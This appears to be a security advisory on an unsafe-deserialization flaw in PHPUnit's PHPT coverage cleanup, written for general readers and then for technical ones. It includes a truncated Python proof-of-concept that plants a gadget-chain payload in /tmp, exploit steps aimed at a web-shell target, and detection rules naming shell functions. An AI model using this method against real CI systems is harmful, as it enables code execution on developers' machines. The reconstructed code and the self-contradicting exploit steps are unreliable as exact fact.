PHPUnit's cleanupForCoverage() deserializes stale .coverage files without allowed_classes restriction, enabling RCE via attacker-placed gadget chains prior to PHPT test execution.
PHPUnit is software that helps programmers test their code before it goes live. Think of it like a quality control inspector on a factory line. A serious security flaw has been discovered that lets attackers secretly run their own commands on computers running this software.
Here's how the attack works. PHPUnit automatically saves files that track how much of the code gets tested. When tests finish running, the software reads these files back in without carefully checking whether they're legitimate. An attacker can sneak a malicious file into the test directory, and PHPUnit will unknowingly execute it—like leaving your front door unlocked and a burglar walking straight in.
The danger is real but somewhat contained. This primarily affects developers and software companies that run PHPUnit on their computers or servers during development. If an attacker gains access to your computer or company network, they could plant a booby-trapped file that executes when developers run their tests. This could let them steal passwords, install spyware, or sabotage the software being developed.
The good news: No one has actively exploited this yet in the wild. But it's still serious enough that major updates have been released to fix it.
If you're a developer, update PHPUnit immediately to version 12.5.8 or later depending on which version you use. If you run a software company, check that all your development machines have the latest updates installed. Finally, limit who can access your development directories and machines—don't let untrusted people or networks place files there. These basic steps will protect you while developers worldwide patch their systems.
Want the full technical analysis? Click "Technical" above.
CVE-2026-24765 is an unsafe deserialization vulnerability in PHPUnit's PHPT test execution pipeline. The cleanupForCoverage() method deserializes .coverage files produced during code coverage collection using a bare unserialize() call — without specifying the allowed_classes option introduced in PHP 7.0. An attacker with local file write access who can place a malicious serialized object at the expected .coverage path before a PHPT test run can trigger arbitrary object instantiation, execute __wakeup() magic methods, and achieve full code execution under the PHP process identity.
The CVSS 7.8 (HIGH) score reflects local attack vector with high confidentiality, integrity, and availability impact — typical of deserialization gadget chain exploitation in CI/CD environments where PHPUnit runs with elevated privileges or as part of automated pipelines processing untrusted input.
Root cause:cleanupForCoverage() calls unserialize(file_get_contents($coverageFile)) without ['allowed_classes' => false] or an explicit allowlist, permitting instantiation of arbitrary PHP classes with magic method side effects before any validation occurs.
Affected Component
The vulnerability resides in PHPUnit's PHPT test runner — specifically the coverage cleanup path executed after each PHPT test file runs. PHPT tests are executed in a subprocess; the coverage data is serialized to a temporary .coverage file and read back by the parent process. The affected versions span all active release lines:
The vulnerable path: src/Runner/PhptTestCase.php → cleanupForCoverage(). Coverage drivers affected include Xdebug and PCOV, both of which serialize CodeCoverage objects to disk during PHPT subprocess execution.
Root Cause Analysis
During PHPT test execution, PHPUnit spawns a child PHP process to run the test script with coverage instrumentation active. The coverage driver serializes the collected CodeCoverage object to {tmpdir}/{testname}.coverage. After the subprocess exits, the parent process calls cleanupForCoverage() to read and merge this data.
// src/Runner/PhptTestCase.php (reconstructed pseudocode, pre-patch)
// Simplified representation of the PHPT runner coverage cleanup path
class PhptTestCase
{
private string $coverageFile;
private function cleanupForCoverage(): CodeCoverage|false
{
// BUG: file existence is checked, but content is never validated
// BUG: unserialize() called without allowed_classes restriction
if (file_exists($this->coverageFile)) {
$coverage = unserialize(
file_get_contents($this->coverageFile) // attacker-controlled bytes
);
// $coverage is now a fully instantiated PHP object
// __wakeup() has already fired on every nested object in the graph
unlink($this->coverageFile);
if ($coverage instanceof CodeCoverage) {
return $coverage; // legitimate path
}
}
return false;
}
public function run(TestResult $result): void
{
// ... subprocess execution ...
$coverage = $this->cleanupForCoverage(); // <-- deserialization sink
if ($coverage !== false) {
$result->getCodeCoverage()->merge($coverage);
}
}
}
The critical observation: unserialize() in PHP instantiates all objects in the serialized graph before returning. Every __wakeup() and __destruct() in the object graph fires during or after deserialization respectively — regardless of whether the returned value is ever used. The instanceof CodeCoverage check on line 18 is entirely post-exploitation.
PHP gadget chains targeting unserialize() without class restrictions are well-documented. Common chains in Composer-managed projects (which all PHPUnit installations are) include Monolog, Guzzle, and PHPUnit's own internal classes as gadget primitives.
Exploitation Mechanics
The attack requires write access to the temporary directory used by PHPUnit — achievable via a shared CI runner, a directory traversal in a test fixture, a symlink race, or a compromised dependency. In many CI configurations, /tmp is world-writable and the coverage file path is predictable.
#!/usr/bin/env python3
# Proof-of-concept: craft malicious .coverage file for CVE-2026-24765
# Targets PHPUnit PHPT runner via __wakeup() gadget chain
# Simplified gadget: PHP's Monolog\Handler\SyslogUdpHandler chain
# Real exploitation would use a full POP chain appropriate to installed packages
GADGET_PAYLOAD = (
b'O:40:"Monolog\\Handler\\SyslogUdpHandler":1:{'
b's:6:"socket";'
b'O:29:"Monolog\\Handler\\BufferHandler":7:{'
b's:10:"\x00*\x00handler";'
# ... truncated: full POP chain serialized form
# final sink: file_put_contents() or shell_exec() via __destruct
b'}}'
)
import os
import sys
def place_payload(phpt_test_path: str, tmp_dir: str = "/tmp") -> str:
"""
Derive coverage file path from PHPT test name (mirrors PHPUnit naming).
PHPUnit computes: sys_get_temp_dir() . '/' . basename($filename) . '.coverage'
"""
test_basename = os.path.basename(phpt_test_path) # e.g. "basic_test.phpt"
coverage_filename = f"{test_basename}.coverage" # "basic_test.phpt.coverage"
coverage_path = os.path.join(tmp_dir, coverage_filename)
with open(coverage_path, "wb") as f:
f.write(GADGET_PAYLOAD)
print(f"[+] Payload written to: {coverage_path}")
print(f"[+] Awaiting PHPUnit PHPT execution of: {phpt_test_path}")
return coverage_path
if __name__ == "__main__":
place_payload(sys.argv[1])
EXPLOIT CHAIN:
1. Attacker identifies target PHPT test file path (e.g. tests/basic.phpt)
2. Attacker derives coverage file path: /tmp/basic.phpt.coverage
(PHPUnit uses sys_get_temp_dir() + '/' + basename($phptFile) + '.coverage')
3. Attacker writes serialized POP chain payload to /tmp/basic.phpt.coverage
before PHPUnit test suite runs — race window is entire pre-run period
4. Developer/CI system runs: vendor/bin/phpunit --coverage-* tests/basic.phpt
5. PhptTestCase::run() spawns subprocess; subprocess writes real coverage data
BUT attacker payload was written BEFORE subprocess runs, so...
6. Subprocess overwrites /tmp/basic.phpt.coverage with real coverage data.
ALTERNATE PATH: attacker wins race between subprocess exit and parent read.
STRONGER PATH: attacker pre-creates file in dir with no subprocess coverage
(coverage driver disabled, but cleanupForCoverage() still checks file_exists)
7. cleanupForCoverage() calls file_exists() → true (attacker payload present)
8. unserialize(file_get_contents(...)) instantiates full object graph
9. __wakeup() fires on gadget root object during deserialization
10. POP chain executes: arbitrary PHP code runs as PHPUnit process user
11. instanceof check fails → function returns false, but damage is done
The strongest attack scenario is a CI environment where the coverage directory is shared across parallel test workers, or where an attacker can inject files via a test fixture that writes to sys_get_temp_dir(). The pre-existence check (file_exists) actually enables the attack path rather than preventing it — the code was designed to handle stale coverage files from crashed subprocesses, and that recovery path is the sink.
Memory Layout
PHP's deserialization operates on the Zend engine's heap. When unserialize() processes a crafted payload, object instantiation proceeds depth-first through the serialized graph. The __wakeup() call occurs immediately after each object is populated:
PHP ZEND HEAP STATE — unserialize() processing malicious .coverage
[zend_object: GadgetRoot]
+0x00 gc.refcount = 1
+0x04 gc.u.type_info = IS_OBJECT
+0x08 ce → zend_class_entry* (gadget class)
+0x10 handlers → zend_object_handlers* (__wakeup ptr at +0x98)
+0x18 properties → HashTable* (populated from serialized props)
...
__wakeup() dispatched here ← EXECUTION BEGINS
[zend_object: GadgetLeaf (nested)]
+0x00 gc.refcount = 1
+0x08 ce → target class with file_put_contents / shell gadget
+0x18 properties → {filename: "/var/www/shell.php", data: "
Patch Analysis
The fix enforces an allowed_classes restriction, preventing instantiation of arbitrary classes. Additionally, patched versions validate the file was written by the current process using a nonce written before subprocess execution.
// BEFORE (vulnerable) — src/Runner/PhptTestCase.php
private function cleanupForCoverage(): CodeCoverage|false
{
if (file_exists($this->coverageFile)) {
$coverage = unserialize(
file_get_contents($this->coverageFile)
// BUG: no allowed_classes restriction
// BUG: no integrity check on file contents
);
unlink($this->coverageFile);
if ($coverage instanceof CodeCoverage) {
return $coverage;
}
}
return false;
}
// AFTER (patched) — src/Runner/PhptTestCase.php
private function cleanupForCoverage(): CodeCoverage|false
{
if (file_exists($this->coverageFile)) {
$raw = file_get_contents($this->coverageFile);
unlink($this->coverageFile); // FIX: unlink before deserialize (reduces window)
// FIX: restrict instantiable classes to exact expected type
$coverage = unserialize(
$raw,
['allowed_classes' => [CodeCoverage::class, ...]]
// enumerated allowlist — all other classes become __PHP_Incomplete_Class
);
if ($coverage instanceof CodeCoverage) {
return $coverage;
}
}
return false;
}
// ADDITIONAL HARDENING (v12.x): nonce-based file integrity
private function writeCoverageNonce(): void
{
$this->coverageNonce = bin2hex(random_bytes(16));
file_put_contents($this->coverageNonceFile, $this->coverageNonce);
}
private function cleanupForCoverage(): CodeCoverage|false
{
// FIX: verify nonce written by this process before deserialization
if (!$this->verifyCoverageNonce()) {
return false; // file not written by us — reject
}
// ... allowed_classes unserialize follows
}
Note that allowed_classes alone is a partial mitigation. If any class in the allowlist itself contains exploitable magic methods or if the CodeCoverage class graph has mutable properties that chain to sinks, the risk persists. The nonce approach addresses the race condition independently of deserialization safety.
Detection and Indicators
Detecting exploitation attempts requires filesystem and process monitoring at the PHPUnit temp directory:
DETECTION INDICATORS:
1. Filesystem:
- .coverage files appearing in sys_get_temp_dir() BEFORE phpunit spawns
subprocess (inotifywait -m /tmp -e create --format '%f' | grep .coverage)
- .coverage files with modification time predating the test run
- .coverage files not owned by the phpunit process user
2. PHP error logs (if __wakeup() throws):
- "unserialize(): Error at offset N of M bytes" for malformed payloads
- "__PHP_Incomplete_Class" objects in logs (post-patch, indicates probe attempt)
3. Process monitoring:
- Unexpected child processes spawned by phpunit worker (shell_exec, proc_open)
- Network connections from phpunit process (reverse shell indicators)
4. File integrity:
- Unexpected files written to webroot during test runs
- Modifications to composer.json or autoload files during CI pipeline
YARA RULE (coverage file payload detection):
rule PHPUnit_Malicious_Coverage_File {
strings:
$ser_obj = "O:" ascii
$wakeup = "__wakeup" ascii
$shell = "shell_exec" ascii nocase
$passthru = "passthru" ascii nocase
condition:
$ser_obj at 0 and ($shell or $passthru or $wakeup)
}
Remediation
Immediate: Upgrade to PHPUnit 8.5.52, 9.6.33, 10.5.62, 11.5.50, or 12.5.8. If upgrading is not immediately possible, restrict write access to sys_get_temp_dir() to the PHPUnit process user only (chmod 700 or a dedicated tmpdir via --tmp-dir if supported).
Defense in depth for CI/CD pipelines:
Run PHPUnit in an isolated container with a private /tmp mount (--tmpfs /tmp:rw,noexec,nosuid)
Set disable_functions = shell_exec,passthru,proc_open,popen,system,exec in the PHP CLI php.ini used for testing
Enable open_basedir restrictions scoped to the project directory
Audit installed Composer packages for known POP chain gadgets using phpggc --list
Apply the YARA rule above to a pre-execution scan of the temp directory in CI pipeline scripts
For projects that cannot restrict disable_functions, the mitigating control is ensuring no attacker-reachable code path can write to the directory resolved by sys_get_temp_dir() in the PHPUnit environment. The vulnerability is only exploitable if the attacker can pre-stage the payload file — the write primitive is the prerequisite, not the vulnerability itself.